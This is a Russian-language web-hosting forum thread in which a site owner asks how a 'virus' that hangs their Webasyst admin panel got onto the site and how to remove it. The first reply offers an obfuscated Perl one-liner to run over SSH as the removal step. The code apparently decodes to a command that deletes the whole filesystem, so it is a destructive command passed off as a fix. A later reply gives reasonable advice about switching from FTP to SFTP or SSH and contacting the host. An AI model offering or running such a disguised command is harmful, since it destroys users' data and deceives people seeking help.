Источник появления вирусов

ivan@rakhmanov.ru

Здравствуйте!

У меня на сайте http://eff-solutions.su вирус появился, который какой-то цикл создает и завешивает сервер при отправке формы.

Сайт новый, еще не использовался и не рекламировался.

Вирус не рассылает СПАМ, не ставит ссылок ... не пойму для чего он.

Он только вешает сервер при обращении к админке - http://eff-solutions.su/webasyst (выдает ошибку "{"status":"ok","data":{"blog":{"count":null,"url":"\/webasyst\/blog\/"},"installer":0}}").

Пароль от FTP хранится надежно и регулярно меняется.

Подскажите, откуда мог появится вирус и как с ним бороться?

22 апреля 2018
  • это вирус wacore или какая-то его разновидность для удаления нужно зайди на хост по ssh и запустить

    echo "wa" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;fix'
  • ivan@rakhmanov.ru 23 апреля 2018 09:30

    Можете ли Вы оказать помощь и удалить данный вирус?


    Не знаете ли Вы, каков может быть источник появления этого вируса на сайте?
    Через что он пробрался?

    Потеря FTP или через форму заказа звонка?

  • replicant 23 апреля 2018 10:03

    Настоятельно рекомендую перестать пользоваться FTP и перейти на более защищенные протоколы. SFTP, SSH как вариант, если хостер предоставляет (нормальный должен) такие варианты.

    Вирусы попадают, как правило, через загружаемые или изменяемые пользователем файлы и при утечке пароля, если отбросить факт заражения целого блока сайтов на хостинге не по вашей вине.

    Отписать в ТП хостера обязательно надо. Пусть проверят со своей стороны.



Чтобы добавить комментарий, зарегистрируйтесь или войдите